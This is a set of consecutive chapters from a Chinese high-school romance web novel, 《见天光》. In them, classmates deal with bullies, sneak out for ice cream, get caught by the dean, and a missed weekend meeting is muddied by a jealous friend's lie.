许兰亭看着她们的身影消失在教室门口,他转身敲了敲陈恕的桌面,“一起去上厕所?” 陈恕:…… “不去。” 一旁的周嘉先简直笑出咔咔声。 许兰亭转而问他,“先哥,去不去?” 周嘉先笑容一滞,“不……”,他在许兰亭的目光下,硬生生改变了主意,“行,走吧。” * 上午的最后一节课就是英语老师洪玲的课,也是这一周最后一节英语课。 张期期再一次逃了大课间的跑操,在教室里奋笔疾书地抄着被罚写的英语单词。 一个单词一百遍,几千个单词需要写啊……张期期写得一 23. 第 23 章 《见天光》全本免费阅读 - 突然响起女生的呵斥声,三个男生吓了一大跳。他们下意识地转身,迎面而来就是张期期噼里啪啦的一顿骂,毫不客气。 被张期期盯着的“胖男生”见骂人的只是一个女生而已,他脸上的心虚顿时消失,转而变得气势汹汹,“又不是骂你,要你多管闲事?” “你骂我们班的同学,就是骂我。有空在背后唧唧歪歪别人,不如给自己减减肥吧。”张期期瞪着对方,毫不客气继续怼道。 “胖男生”作势要推人一样,“你他妈的……” 与此同时,从张期期的身后横出一只手,准确地握住了胖男生伸过来的拳头。 下一刻,胖男生“飞”出去了,砸在地上,发出一声嚎叫声。 陈恕:…… ……刚刚他只是握住了对方的拳头而已……吧? 陈恕低头,与正好抬头的张期期四目相对,张期期眨巴眨巴着大眼睛,嗯……好吧,那个胖男生是她抬脚踹飞出去的…… 张期期莫名心虚,早知道陈恕会出手,她就不自己动脚了。 陈恕余光瞥了一眼胖得非常明显的同学,再看看这抛物线的下落位置,他眼神瞬间复杂起来。 ……难怪,他抬不起她的桌子时,她那一瞬间的惊讶。 张期期心虚地笑了笑,眼巴巴地望着陈恕。 “你们居然在学校里动手打人?”另外两名男生瞪着陈恕、张期期,用手指着他们,“我要去告诉老师……你们等着挨处分、记过吧!” 陈恕抬眸望过去,眼底一片冰冷,“没记错的话,是你们先动手的吧?三个男生欺负一个女生?” 他抬手指着头顶左上角的位置,“记错了也没关系,这里有监控,到底是谁先动手的,只要看看监控就一目了然。” 三个男生这才猛然意识到这一茬,今年九月份开学之后,学校走廊、楼梯处基本安装了监控摄像头。 张期期附和着嘲讽道:“是啊,看看监控就知道是谁啊,居然连一个女生都打不过。” 三个男生面面相觑,最终狠狠地瞪了张期期、陈恕一眼,又放下狠话,“你们给我等着……” 说完,三人赶在操场的大部队同学回来之前迅速地溜了。 张期期嗤了一声,挥挥手大声道:“等着就等着,等你呦……” 跑远的三个男生听到身后传来的喊话,气得一个踉跄,张期期噗嗤笑出声…… - 张期期还在笑着,陈恕已经越过她走到了她的前面,他一声不吭地往前走。 张期期连忙跟上,“陈恕?陈恕!” 她扯住他的长袖,边扯边走,“怎么了嘛?你生气了?生气我之前骗你说我搬不动桌子?” 陈恕蓦然停住脚步,低头看着她扯住自己袖子的指尖。 “哎呀……我承认我力气很大,我就是……想和你接触接触……行吗?”张期期破罐子破摔说道。 直女打直球的效果非常明显,刚才还绷着脸的少年此时耳后晕染了一片绯红。 同学的嬉笑打闹声由远及近传来,他低头看着一脸无辜眨着眼睛的少女。 陈恕抿了抿唇,眼神专注认真,他道:“张期期,刚才的事……谢谢你。” 她的名字从他嘴里念出来,张期期顿时心一跳,她无法描绘这种心情,却发自内心地想笑。 少女眼底荡漾着笑意,“不客气啦~唔?那你是……不生气我骗你啦?” 陈恕垂头看着她,又想气又觉得好笑,有时候的她心细如发,有时候却神经大条。 他决定将话说明白一点,“我没有生气,你说的那只是一件小事,你搬得起桌子和我帮你搬桌子这两者之间并不冲突。” 陈恕顿了顿,继续道,“对面是三个男生,他们诋毁揣测的也是我,他们的话对我来说无关痛痒。我只是……觉得没有必要因为我而让你自己陷于被动的局面。” ……他被随意诋毁谩骂揣测,这都没有关系,他早就已经习惯了,且再难听再恶毒的话他都听过,但若是因为他的缘故,让她受伤,那他才真的是该骂。 张期期望着他,认真道:“我没有处于被动的局面啊,一力降十会,你没见我刚刚踹飞了那个胖子男吗?” 陈恕:…… 张期期:“还有……你说他们的话对你而言无关痛痒,但我听着,很难受。”她不信一个人能对于旁人的诋毁谩骂心如止水,必定是这个人在极力告诉自己不要去理会。 陈恕一怔,他从她的眼眸中看到了自己的倒影,这些年他给自己竖起的防备在她的眼中悄然崩盘。 他猛然抬头望向走廊外的蓝天,白云悠扬,而他此刻的心情也像一首绵长悠扬的曲子。 - 上午放学铃声响起的那一瞬间,张期期整个人松懈下来,这周最后一节英语课终于结束了。 还好……不枉她连续几天抄生抄死地抄单词,完成任务的她终于有惊无险地顶住了英语老师的蠢蠢欲动的罚抄之心。 英语老师洪玲走出教室之后,张期期瞬间甩下黑色水笔,她敲了敲桌面,旁边的人都下意识地转过来看她。 张期期的目光从陈恕、许兰亭、林听三人的面上扫过,“我们一起去吃饭?新换了座位,大家一起熟悉一下?” 许兰亭欣然同意。 陈恕、林听也跟着点了点头。 周嘉先听着张期期的烂借口笑出了声音,“加我一个呗。” 张期期佯装“受宠若惊”样,“先哥今天不用回家给你的小絮妹妹做饭吗?” 周嘉先摇摇头,“小絮最近跟着我妈在医院的饭堂吃。” 许兰亭笑道:“那敢情好,一起走吧。” 一行五人走出了教室,走廊上是或疾步或快走的同学,待走出教学楼,校道上双腿走出残影的更是比比皆是。 干饭不积极,人生没意义。 张期期内心焦灼,她拉起林听的手,“快跑啊,等会儿要没座位了。” 林听一愣,嘴角露出笑意,从顺如流地跑了起来。 许兰亭、周嘉先默契一笑,两人架起陈恕往前跑。 陈恕神色极为别扭:……“你们……” 校道上加入了五个干饭积极的少年少女们,她们发丝飞扬,欢快的笑声回荡在校道上。 第一学生饭堂。 张期期他们顺利地争取到了视觉盲区处的一张桌子,五个人挤在一起,这对林听、陈恕而言 24. 第 24 章 《见天光》全本免费阅读 - 下午的第三、四节课都是班主任张扬的语文课。 上课铃声响起,张扬夹着教案、试卷走了进来,他的目光在讲台上扫了一眼,顿时脚步一顿。张扬发出一声“咦”,然后看着班里的同学,“我的椅子呢?” 椅子……因张扬的脊椎问题,校长特许给他上课偶尔坐坐的椅子。 作为语文课代表的林听闻言,眼神中闪过疑惑,她对上张扬的眼神默默摇了摇头。 ……她没有注意到张扬的椅子是什么时候不见的。 前排的侯蕊突然想起来,“老师,好像前两节课,高一一班有校领导听课,他们班的同学过来把你的椅子搬过去给校领导坐了。” 张扬“哦”了一声,显然也是想起来高一一班有校领导听课的环节。 张扬:“来个同学,帮老师把椅子搬过来。” 林听很自觉地站了起来,“老师,我去吧。” 张扬顿了片刻,刚想开口说换个男生去吧,张期期站了起来,“老师,我也去。” 思及张期期这个“大力士”,张扬点了点头,“行,去吧。谢谢你们俩啊。” 她们两人并肩着走出教室,身影消失在众人眼前,许兰亭蓦然站起来道:“老师,我也去帮忙吧。” 张扬:? 张扬想了想,也是,高一一班在旁边那栋教学楼的四楼,把他的“宝座”从旁边那栋教学楼搬下来,又要搬到这栋教学楼四楼,还是挺大的一个工程的。 张扬还未开口答应,一旁的周嘉先却在此时突然看向了陈恕。 周嘉先的目光太过炙热,陈恕下意识地望过去,对方眼神的意思很明显,她们几个都去了,你怎么不去? 陈恕:…… 他逐渐动摇,嗯?他也要去吗?好吧……他也去。 陈恕起身,“张老师,我也去。” 张扬:??? 在张扬的困惑中,许兰亭、陈恕走出了教室。 看着教室那突然空了的几个位置,张扬越发困惑了……干嘛呢这几个人。 - 很快,陈恕、许兰亭就追上了前方手挽着手、并肩走的张期期、林听二人。 张期期诧异:“你们俩怎么也来了?” 许兰亭摸了摸后脑勺道:“一起呗。轮流搬没那么重。” 陈恕点头。 张期期:……“哦,好吧。” 四人走下了楼,拐弯往旁边的教学楼走过去。 张期期的目光掠过不远处的便利店,突然小声道:“陈恕,兰亭,要不椅子你们俩去搬下来?我和林听去小卖部买几支雪糕吃,就在这楼下等你们,我们吃完再把椅子搬回我们班,怎么样?” 林听顿时疑惑又惊讶地啊了一声,显然这样的事情超出她以往的行为规范。 陈恕嘴角微微抽搐,眼神复杂,他沉默着一时之间不知道该如何反驳。 反倒是许兰亭眼神一亮,他压低声音却难掩兴奋,“好啊,你俩放心去。椅子我和陈恕去搬下来就行。” 张期期同样兴奋地点点头。 林听、陈恕:……他们俩到底在兴奋什么? 四人兵分两路,张期期拉着林听往便利店而去。 京照一中那么多个班级,经常有上体育课的学生跑到便利店来买水喝,所以有学生在上课期间走近店里,店老板也不觉得奇怪。 张期期快速在冷冻柜里拿了五只不同口味的雪糕后结账。 张秋期:“林听,你要哪种口味的?” 林听看了一眼,草莓、芒果、巧克力、香草、香芋,“我要芒果味的。” 张期期将芒果味的雪糕递给林听,林听接过后,“期期,这个是三块钱一个是吗?等会儿回教室我再给你钱。” 张期期闻言一愣,随即笑着道:“不用,这个我请你吃。” 林听神色有些为难,犹豫几瞬后,才笑着点点头:“谢谢期期。” 她虽然不太习惯与别人有金钱上的往来,但也知道朋友之间有时候算得太清容易伤感情,想了想,林听决定下一次给她带瓶饮料。 几分钟之后,陈恕、许兰亭搬着椅子下来了。 张期期边吃边招手,小声道:“快过来!快过来!我们在这儿。”她们此刻正排排蹲在花坛边,借着花坛隐藏身体。 许兰亭招呼陈恕将椅子放下后,又猫着腰躲到了花坛边,“我要巧克力口味的。” 他就蹲在林听的身边,三个人排排蹲着吃雪糕。 陈恕:…… 不知道哪一间教室里传出朗朗的读书声,他似乎有一瞬间的恍惚。 张期期招手,“陈恕,过来啊,站在那里干什么,很引人注目的。” 陈恕眼神有些崩溃,他顿了顿,最终还是学着许兰亭猫着腰的动作,迅速蹲到了张期期的身边。 “只剩下草莓和香芋味的了,你要哪个?”张期期道。 陈恕即使是蹲着,整个人也显得极为紧绷,他拿了香草味的雪糕面无表情地吃着。 天蓝风轻,书声朗朗,树影婆娑,夏日雪糕的冰凉甜腻顺着喉咙仿佛蔓延到他们心中一样,很多年之后,他们再一次回忆起这一幕时又当是什么样的心情…… 许兰亭吃着吃着,咦了一声,“期期,怎么还剩了一根?” 张期期看着手中的草莓味雪糕,直接道:“这是给先哥的。” 陈恕转头看她,四目相对下,张期期愣了愣,恍然大悟,“我忘了先哥没出来。” “你们在干什么?不用上课的吗?”一声怒喝突兀地在身后炸起。 张期期等人冷不丁地吓了一大跳,手上拿着的雪糕连忙塞进嘴里,嚼吧嚼吧咽下去,嘴边甚至有还来不及擦拭的食物残渣。 几人慌乱地站起来,张期期看着手中还剩下的草莓雪糕,反手就将其塞到了许兰亭的卫衣帽子里。这时教导主任已经走到了他们的面前。 “陈恕?”教导主任差点心梗,这不是他们高二年级的第一名吗…… 陈恕抿了抿嘴,“主任好。” 教导主任从右到左,一个个看过去,张期期、许兰亭、还有……林听! “主任好。”几人陆陆续续道。 他一点都不好!!教导主任越看脸色越臭,简直心痛到不行,这都是重点一班的好学生啊,这!!这是在干什么啊!! 教导主任气得手指头都微微颤抖起来,“逃课是吧?你们上的谁的课?” 张期期“讨好”般地笑了笑,“主任,我们没有逃课,就是我们张老师的椅子给高一一班搬走了,我们这不是正搬回来吗?” 她指着不远处的椅子,“呐,那儿呢!” 教导主任循着她的指尖望过去,确实是张扬的“宝座”,他从家里搬过来的椅子格外与众不同,非常骚粉。 许兰亭赶紧道:“主任,要是没什么事,我们就回教室了,张老师还等着我们呢,您知道的,唉……我们老师脊椎不好,不能久站的。” 教导主任并没有那么好糊弄,他看着几人嘴边的食物残渣,冷哼一声,“走啊!我跟你们一起去。” 张期期慌道:“别啊……主任您、您肯定很忙,我们自己回去就行。” “我不忙!” 教导主任绷着脸走在最前面,张期期生无可恋、林听尴尬又觉得心情非常奇妙,她们走在教导主任身后,陈恕抿着唇,许兰亭唉声叹气,他们一人抬着一边椅子走在最后。 张扬 25. 第 25 章 《见天光》全本免费阅读 - 张期期尴尬地笑着,“我这不是忘记了吗?” 许兰亭伸手往后拉着自己的衣服,企图让衣服不要黏在后背上,他皱着眉头,一脸嫌弃的模样:“那现在怎么办?” 陈恕无奈道,“先拿出来吧。” 他伸手从对方的卫衣帽子里将半融化的雪糕拿了出来,雪糕是纸包着的,包装纸缝合的位置渗出了粉红色的膏状物体。 将其放在墙沿下,陈恕拿出纸巾擦了擦黏腻的手指。 “兰亭,等会儿你去厕所洗一洗?”张期期试探道。 “衣服洗了也是湿的,我怎么穿啊?”许兰亭瞪着张期期。 张期期瞬间闭嘴。 林听提议道:“找班里的同学问问吧,看看他们有没有多带了一件衣服。”尽管她这么说着,但心里也觉得大概不会有人专门带了一件衣服来教室。 然而一旁的陈恕却低声道:“你不介意的话,我有一件可以借你。” 许兰亭顿时一笑,“介意什么啊!我哪那么矫情,谢谢你了啊!” 几人排排站着说话,教室里的张扬突然看向他们,大声道:“站着也不消停是吗?” 他们顿时安静如鸡。 - 下午第三节课下课铃声响起,张扬说了一声,“下课”。 他将自己带来的保温瓶里的水喝完之后,拿着杯子走出了教室,临到教室门口的时候,他道:“都进去坐一会儿吧。” 张期期笑着道:“谢谢张老师。” 刚说完,她又试探着问了一句,“那……老师,我们下节课可以不用站了吧?” 张扬瞪眼,“你想得美。” 张期期尴尬地哦了一声。 陈恕用纸巾包着半融化的雪糕,又将墙角清理了一下,才和张期期他们一起从后门走进了教室。 许兰亭走过周嘉先的位置时,周嘉先鼻尖微微动了动,“哪里来的草莓味?”他看了一眼两对非常登对的少年少女,嘟嘟囔囔道:“难道这就是传说中的恋爱的味道?” 许兰亭脚步一顿,来到周嘉先的面前,露出一言难尽的神色,“先哥,你在胡说什么?” 周嘉先想了想,笑道:“……不是有个说法?恋爱中的男女之间的氛围是甜蜜的?” 许兰亭呵呵一笑,“甜是甜,但我的心是凉的,从后背凉到前面。” 周嘉先:? 林听忍不住直笑。 许兰亭无奈道:“期期,你自己坦白吧。” 张期期一脸的生无可恋,“好吧!就是我们几个溜去买雪糕吃了,我忘记先哥你没有出来了,所以多买了一根,然后就被教导主任抓到了,我随后就把雪糕放他卫衣帽子里了,没成想……忘记拿出来了,然后它融化了……” 许兰亭适时地转过身,给周嘉先看背后粉色的水渍。 “哈哈哈哈……”周嘉先一愣,随即大笑出声,他拍着桌面,笑着道:“你们几个还真是人才啊!对不住了,兰亭,怪我怪我,怪我没出去!!” “扑哧……哈哈哈。我刚才说的草莓味原来就是这样啊……” 陈恕无奈地看着笑闹成一团的几人,他手上拿着一件灰色的长袖T恤,“许兰亭,衣服在这儿,你还不去换吗?” 许兰亭一顿,忙不迭地点头,“当然得换,我身上这衣服我可受不了。” 说着,他接过陈恕递过来的衣服,道了一声谢后,赶紧跑去了男卫生间。 张期期笑着对陈恕道,“谢谢你啊,要不是有衣服可以换,兰亭非得骂死我不可。” 陈恕看了她一眼,随口嗯了一声。 没几分钟,许兰亭就回来了,他看着身上的灰色长袖T恤,转身和后桌的陈恕道:“你这衣服……” 陈恕微微攥紧了手中的黑色水笔,是了……他的衣服是夜市地摊上买的,他们这些…… “你这衣服也太大了吧……”许兰亭压低声音,打断了陈恕未尽的思绪。 陈恕一愣,抬眸望向对方:? 张期期耳朵尖,一下子就听到了,她看了一眼许兰亭,嗯……袖子长了,衣摆长了…… 张期期笑道:“不是陈恕衣服太大了,是你……太矮了!” 这简直就是一个暴击,青春期的少年最是以自己的身高为荣,许兰亭偷偷望了一眼身旁的林听,反驳道:“怎么可能!我身高一米八,哪里矮了。” 张期期眼神调侃,“我怎么记得你的体检单上身高明明是179啊!” 许兰亭顿时一噎,“那都是多久前的了,我肯定长高了。” 张期期故意道:“久吗?不是才一个月前吗?” 许兰亭怒道:“张期期!!” 张期期立刻转移话题道:“陈恕,你有多高啊?” 陈恕抿了抿唇,“一米八四”。 “不可能,咱俩比一比。”许兰亭稍显破防。 陈恕懒懒地看了他一眼,继续填写试卷,他才不要在班级里做这么幼稚的事情呢! “不是……咱俩比比啊!”许兰亭又道。 张期期:“不用比了,看看你身上的衣服就知道了。” 两人笑着闹着,林听眼眸露出笑意,处于外围的周嘉先也看得津津有味。 陈恕低着头笔下不停,嘴角却扬起一丝弧度。 - 第四节课的上课铃声响起,张期期、陈恕、林听、许兰亭自觉地起身走到教室门口继续罚站着。 张扬拿着保温瓶,快步走进教室,临进教室时,见他们自觉地站着,才满意地点点头。 “上节课我们讲《滕王阁序》的创作背景,这节课我们来讲讲它的艺术特色……” 教室外,许兰亭专门站在了陈恕的身边,他侧首上上下下打量着陈恕的身高,然后他可悲地发现自己偏过头平视的话,只能看到陈恕鼻尖的位置。 张期期和许兰亭中间隔着一个陈恕,张期期微微探头低声道,“认命吧?你就是比陈恕矮。” 许兰亭哼了一声,“那又怎么样?你还比林听矮呢。” 张期期:…… 林听:? ……这战火怎么烧到她身上了? 陈恕闻言,借着身高的优势神不知鬼不觉地瞥了一眼张期期和林听,他嘴角微微弯起,还真是…… - 临近放学,张扬终于开口道:“外面的几个,都给我进来。” 张期期、陈恕、林听、许兰 26. 第 26 章 《见天光》全本免费阅读 - 礼拜六早晨,天空灰蒙蒙的,一副风雨欲来的前兆,空气中带着丝丝的凉意。 张期期穿着白色棉麻的长袖连衣裙,拎着帆布包坐上了李叔的车子出门,今天早上她有个油画的培训课要上。培训班就在金河湾商都十四楼,她到了画室时,培训班的学生基本都到了,老师见人齐之后就开始上课。 三个小时的培训课很快就过去了,课结束之后张期期去了卫生间准备将手上沾染到的颜料洗掉。 洗手台的水流哗哗哗地流着,卫生间外传来脚步声和说话声。 “我觉得有点纳闷啊,我们培训班的同学将来都是走绘画艺考的道路,期期不走这条路,怎么也来我们培训班?” “我也不太清楚。反正我来的时候她就已经在了。” …… 张期期洗着手,听着她们的议论,一个抬头,她从镜子里看见正议论着她的两个同学走进了卫生间。 双方视线在镜子中对上,她们的话音顿时一滞,脸上满是尴尬,虽然没有说别人的坏话,但是背后议论别人被对方当场撞见也实在不好意思。 其中一人尴尬地笑了笑,“期期……你洗手啊?” 张期期点了点头,“嗯,我洗完了,先走了。拜拜。” 两人尴尬地也道了一声:“哦好,拜拜。” 张期期拎上帆布包后走出了培训室,神情低落。 说实话京照一中的学业真的很重,每一周都有数不清的试卷、习题要写,今天早上三个小时的培训课再加上明天有约,导致她昨晚熬夜写作业到很晚,今天早上险些起不来。 但即使她再想睡,再困倦,她都来上培训班的课。画画是她最喜欢的……但是……张期期叹了一口气。 “期期?” 身后传来一声呼唤,张期期脚步一顿,转身望过去,“向川,你怎么在这儿?” 陆向川大步跑过去,在张期期面前气喘吁吁地站住,“我每周末早上都有钢琴课,就在这附近。” 张期期点点头,“哦……” 陆向川笑道,“嗯?一起吃个午饭吗?正好快到中午了,楼下有家新开的火锅店要不要一起过去试试?” 张期期摇了摇头,拒绝了:“不了,我爸中午会回家,我就不在外面吃饭了。” 陆向川闻言愣了愣,“你爸最近不忙吗?怎么有空回家吃午饭啊?” 张期期随意道:“不知道,他有空就回吧。” ……有空就回?多么简单的事情啊,可是在他们这个圈子里却是多么难以做到的事情。貌合神离、经济联姻…… 陆向川神色遗憾,“那好吧。我爸妈比较忙,我家里吃饭也就我自己一个人,太无聊了。” 张期期闻言,不在意道:“这样啊,那你来我家吃饭吧。” 陆向川心情飞扬,嘴上却道:“这、不太好吧……” “有什么不好的。”张期期疑惑问道,他们算是从小一起长大的,双方父母也都是认识的,吃顿饭而已,这有什么不好的。 “那、好吧。”陆向川笑着道。 他拿出手机在屏幕上点了点,告诉家里的司机不用来接他了。 - 张期期、陆向川坐上了李叔开的车往皇家园林别墅区而去,两人到的时候已经是中午十二点多了。 张家。 张期期开门,喊道:“爸妈,我回来了。” 喊完之后,她转身对身旁的陆向川低声道,“进来吧,这有双鞋,新的,你可以换上。” 陆向川微笑着点点头,进门换上了拖鞋。 几分钟之后,张家父母面带笑意地从楼上走下来了,陆向川望着二人的身影,他们行走之间视线总是时不时地落在对方的身上,说是伉俪情深都不为过。 陆向川由衷地感到羡慕,这种家庭氛围是他从未感受到的。 张世明惊讶,“向川也来了?” 陆向川摸了摸鼻子,“叔叔阿姨好。我……” 张期期笑着插嘴道:“我刚刚上课遇见向川了,他爸妈没在家,他一个人吃饭,我就邀请他来我们家了。” 张世明点点头,拍了拍陆向川的肩膀,温和地笑着,“期期做得对,向川啊,以后你爸妈没在家,你就多来我们吃饭,叔叔家也不缺你这一双筷子。” 陆向川笑了笑,“谢谢叔叔阿姨。” 戚和风微笑道:“吃饭吧。多了向川,我们家也热闹一点。” 张家没有“食不言寝不语”的习惯,饭桌上,张世明偶尔谈谈张期期的学习生活,问问戚和风最近的心情,谈天说地,又给妻女夹菜,还时不时将话接给陆向川,一顿饭吃下来,宾客尽欢。 陆向川家的别墅就在不远处,走路十分钟就到了。 他吃完饭又在张家坐了一会儿才离开,走在别墅区的小道上,陆向川回头望向张家的房子时,他仿佛能透过大门看到一家人其乐融融、嬉笑笑闹的样子。 他微微垂了垂眼眸,遮住了眼底的羡慕。 — 陆向川离开后,张期期上了五楼房间后将这周的试卷都拿出来。 她看了一眼时间,现在是下午两点钟,到晚上七点钟时,一共有五个小时,那就一小时一张试卷,物理、数学、化学、生物、语文。 哦,对了,语文的作文就暂时不写。 窗外风声特别大,呼呼直吹着,真凉爽啊张期期心道,她将试卷压好,接着在桌前埋头答起试卷来。 桌上的时钟滴答滴答地响着,天色渐渐黑了…… 等她停笔的时候,窗外的风已经渐渐停了,憋了一天的雨还是没有下,看着像是转晴了一般。 张期期推开窗看着夜幕降临,想起明天和陈恕、许兰亭的约定时,低声喃喃道,“明天可千万不要下雨啊。” 与此同时,夜幕低垂之下,山地车专卖店门口,男生骑着山地车摇摇晃晃着,他的身影在暖黄色的路灯下渐渐拉长、变短。 安静的街道上,蓦然响起“砰”的一声,骑着山地车的男生摔倒在地上。 店老板倚靠着在店门口,见状吓了一大跳,嘴里嚷嚷着:“慢点,慢点啊,我的车可经不起你这 27. 第 27 章 《见天光》全本免费阅读 - 就在所有人都以为周日会是个适合一家出游的好天气时,京照市猝不及防地迎来了秋雨的季节。原来昨日天气的闷热都是早有预兆。 清晨天刚蒙蒙亮的时候,窗外就突然电闪雷鸣、狂风骤雨。 张期期被惊雷、风雨声惊醒,睁开双眼的时候她感觉浑身上下特别沉重,像是被钉在了床上似的,怎么也起不来。 喉咙发疼,头晕脑胀的……她伸手摸了摸自己的额头,好像是……发烧了。 只是好端端的,她怎么会发烧呢?张期期思维混沌,好半响之后她才想起来昨天她在书桌前刷试卷的时候觉得风吹着舒服,就没有关窗,所以……她这是吹了一下午的风才发烧的? 懊悔的情绪充斥在她的心头,张期期看了一眼时间,早上七点多,她妈妈肯定还没醒,于是她艰难地伸手拿过床头柜上的手机打了个电话给住家保姆莲姨。 手机响了几声之后被接通,张期期嘶哑着嗓子喊道:“莲姨,我不舒服……” 单单说这几个字,她的喉咙就痛得不行。 手机那边传来莲姨的声音,“好好好,期期,你等会儿,我现在就上去。” 两分钟后,莲姨轻轻叩响她的房门,随后拧了门把进来。 房间内橘黄色的小夜灯还亮着,莲姨进来后将小夜灯调到最亮的那一档,压低声音紧张道,“期期,你哪里不舒服?” 话一说出口,她突然拍了一下自己的额头,道:“哎呀,我忘记了,你喉咙肯定很痛。”……方才那句嘶哑的话她都听出来期期肯定喉咙是痛的。 莲姨小声道:“头晕不晕?” 张期期点头。 “想不想吐?” 张期期继续点头。 “莲姨先看一下你发烧了吗?”说着,莲姨伸手摸了摸张期期的额头,“哎呀,发烧了。你等等,我去拿体温计量一下温度,退烧药要三十八度以上才能吃。” 张期期再次点头。 温度计从张期期的腋下拿出来的时候,莲姨眯着双眼盯着刻度看,“这都三十九度了,可以吃退烧药。不过不能空腹吃,厨房有煮好的瘦肉粥,我先去端一碗上来给你喝,喝完我们再吃点退烧药。” 此时的张期期完全任由别人“摆布”,莲姨喂她喝了半碗粥之后,隔了几分钟又喂了退烧药给她。 张期期吃完药又接着躺回了床上,莲姨帮她盖好被子之后就出了房间。 她眼皮非常沉重,很想睡过去,但想到她和陈恕还有约,便拿着手机艰难地发信息给许兰亭。 「期一期:兰亭,我发烧了,和陈恕的约我今天去不了了,你记得去,顺便帮我和陈恕说一声。」 「兰亭集序:你要不看看你在说什么,外边风雨交加,打雷打得跟渡劫一样,谁会出门学自行车啊?天气预报说,接下来一整天都是雷暴雨,放心啦,陈恕不会出门的。我要继续睡觉了。」 张期期眯着双眼看着许兰亭发过来的信息,待看清之后,她皱起了眉头。 窗外闷雷阵阵,大雨倾盆,这样的天气正常来说,陈恕应该也会猜测他们不会出门,但……没有确切和他说一声,她心里还是不太放心。 这时,张期期突然想起来,昨天向川说他每周早上都会在金河湾商都上钢琴课,而她和陈恕约定的金河湾广场就在金河湾商都附近。于是,她又发信息给陆向川。 「期一期:向川,今天天气这么差,你还去金河湾商都上课吗?」 陆向川收到消息的时候还躺在床上,今天风雨交加的,钢琴课他不太想去上。但……期期这么问…… 他犹豫了一瞬,难道今天期期也有油画课要上?一念间他立刻改变了主意。 「山山而川:去的,天气差也不要紧,反正是坐车去,没什么影响。」 张期期一看,犹豫片刻后,「期一期:我今天生病发烧了,但我和班里的同学陈恕有约,可是我又没有他的联系方式。我想拜托你,十点的时候能不能去金河湾广场看看陈恕有没有在那里等我们。」 「期一期:陈恕……你认识吗?就是那个年纪第一。」 陆向川看着信息,眼神微暗,半响后他才回道:「山山而川:好的。我认识。要是看到他,我会告诉他你生病了,不能赴约。」 「期一期:谢谢你向川,下次请你吃饭。」 「山山而川:没事,顺便的事情而已,但请我吃饭,好,下次约。」 看到这则信息,张期期终于松了一口气,她再也控制不住药性沉沉地睡过去了。 时间是早上九点钟,桌面上的时钟滴滴答答地走动着,窗外的风雨居然渐渐停歇了……而卧室内张期期睡得正沉。 - 风雨渐渐停歇,空气中带着微微的凉意。被水冲刷过后的建筑脚架上有一滴一滴的水珠从上滴落。 这里是城中村,居住的都是本地人,他们爱护自己居住了那么多年的地方,所以城中村虽然拥挤,但环境却干净、井井有条。 这里距离京照一中、金河湾广场都不算太远,所以房子的租金比较贵,但没有办法,陈恕一方面要上学,一方面他兼职的山地车专卖店也在这里附近,所以他不得不租在这里。 且恰逢城中村西面附近有一栋房子正在大规模地装修,平日里噪音大、灰层比较多,所以那西面那附近的租金便宜了好几百,这也是陈恕最终决定租在这里的原因——性价比高、方便。 此时,陈恕单肩背着书包从正在维修的自建房旁边的另外一栋房子走出来,过去金河湾广场他只需要坐两站的公交车便到了。 城中村内,已经过了早上人流密集的时候,早餐店内老板娘看着陈恕走过,打了声招呼,“陈恕,吃早餐吗?” 陈恕摇了摇头,“不了,王姨,我已经吃过了。” “那行,下次再来哈。” 陈恕点点头,转身走出了城中村。 早餐店老板娘看着陈恕的身影渐渐消失在眼前,她忍不住重重地叹了一口气,“造孽啊……” 店里吃早餐的客人几乎都是附近十几年的老邻居了,听到老板娘这么说,店里的阿嬷十分疑惑,“小王啊,你认识这娃吗?” 老板娘又叹了一口气,“也说不上认识,但这孩子实在苦啊。” 店里的阿嫲阿公们顿时燃烧起八卦的心思,“怎么回事啊?说说呗,这娃住在我们下瑶村这里,要真是有困难,咱们好歹帮一帮。” “他啊,是上瑶村那 28. 第 28 章 《见天光》全本免费阅读 - 不远处,结束钢琴课的陆向川久久伫立地看着商铺屋檐下站着的陈恕,他原以为等到自己结束钢琴课,对方必定已经回去了。 但……没成想,都已经十一点多了,他还在等着呢! 这个人耐心十足,这是陆向川此时对陈恕的认知。 陆向川嘴角微微扬起,眼神中带着蔑视,耐心十足那又怎么样,既然他那么喜欢等,那就继续等着吧。 他毫不犹豫转身就走,手上的手机屏幕上显示着他和张期期的聊天记录,十点钟的时候,他就已经发信息给张期期了,他没有在金河湾广场见到陈恕。 陆向川前脚刚刚离开,后脚陈恕也离开广场前往附近的山地车专卖店。昨天他和店老板请了一天的假,既然张期期、许兰亭没有应约的话,下午他自然选择去上兼职班。 * 京照市迎来秋雨的季节,伴随着连绵不断的秋雨,气温开始大幅度地下降。夏季好像已经完全过去了…… 京照一中的学生陆陆续续都穿上薄款外套校服和校服长裤。 张期期将雨伞挂在教室门口的走廊上,卡点踩着铃声进入教室坐在自己的位置上。 一旁的陈恕正看着物理参考资料,闻声头也不抬。 张期期将书包放在桌子里,双手交叠,趴在胳膊上继续睡着,昨天早上到现在她的温度一直反反复复的,导致她现在整个人萎靡不振。 今天的早读课是数学老师的,她对学习好的张期期格外偏爱,所以张期期趴着睡了一整早读课,数学老师半点不满都没有。 下课铃声响了,张期期才揉了揉额头,支着胳膊撑着脸,她的温度好像又起来了…… 林听见她睡醒了,压低声音道:“期期,今天这么困啊?” “嗯,人不太舒服。”张期期嘶哑着嗓音道。 林听一惊,完全转过身来打量着她,“你不会是发烧了吧?” “低烧。” 林听神色紧张,“有药吗?药吃了吗?要不要喝水?我去给你打水?” 一连四问,张期期忍不住笑了,“不用紧张,小问题而已。我药吃了。水的话,那好吧?麻烦你了。” 说着,她从桌柜里拿出自己的杯子准备递给林听。手一扬,杯子却在半道上被人截胡了。 张期期一愣,抬眸望过去,“陈恕……” 林听见状,自觉地转过身去,不掺合他们之间的事。 陈恕抿了抿唇,“我去吧。” “好,谢谢你。”张期期微笑着道,发着低烧的她脸上带着一片绯红。 陈恕点点头,拿着杯子走出了教室,走廊的拐角处是这一层楼的接水处,此时接水处排满了长长的队伍,队伍中甚至还有的带着口罩。 气温变化,最是容易感冒咳嗽发烧……陈恕慢慢随着队伍往前移动。 ……所以她昨天没有来赴约,大概率是生病了吧? 陈恕接了半瓶热水,半瓶冷水,将温度调得刚刚好。 教室里,张期期还是一脸的困倦,陈恕走过去将水杯递给她,“温度刚刚好,可以喝的。” “嗯。”张期期点头接过。 沉默半响,陈恕抿了抿唇,轻声道:“昨天……是因为生病才没有来的吗?” 张期期一愣,“你去了?” ……昨天向川和她说没有在金河湾广场遇见陈恕,金河湾广场中央一片空旷,若是陈恕真的按时到了那里,没道理向川会见不到他,所以……她以为陈恕也没有出门。 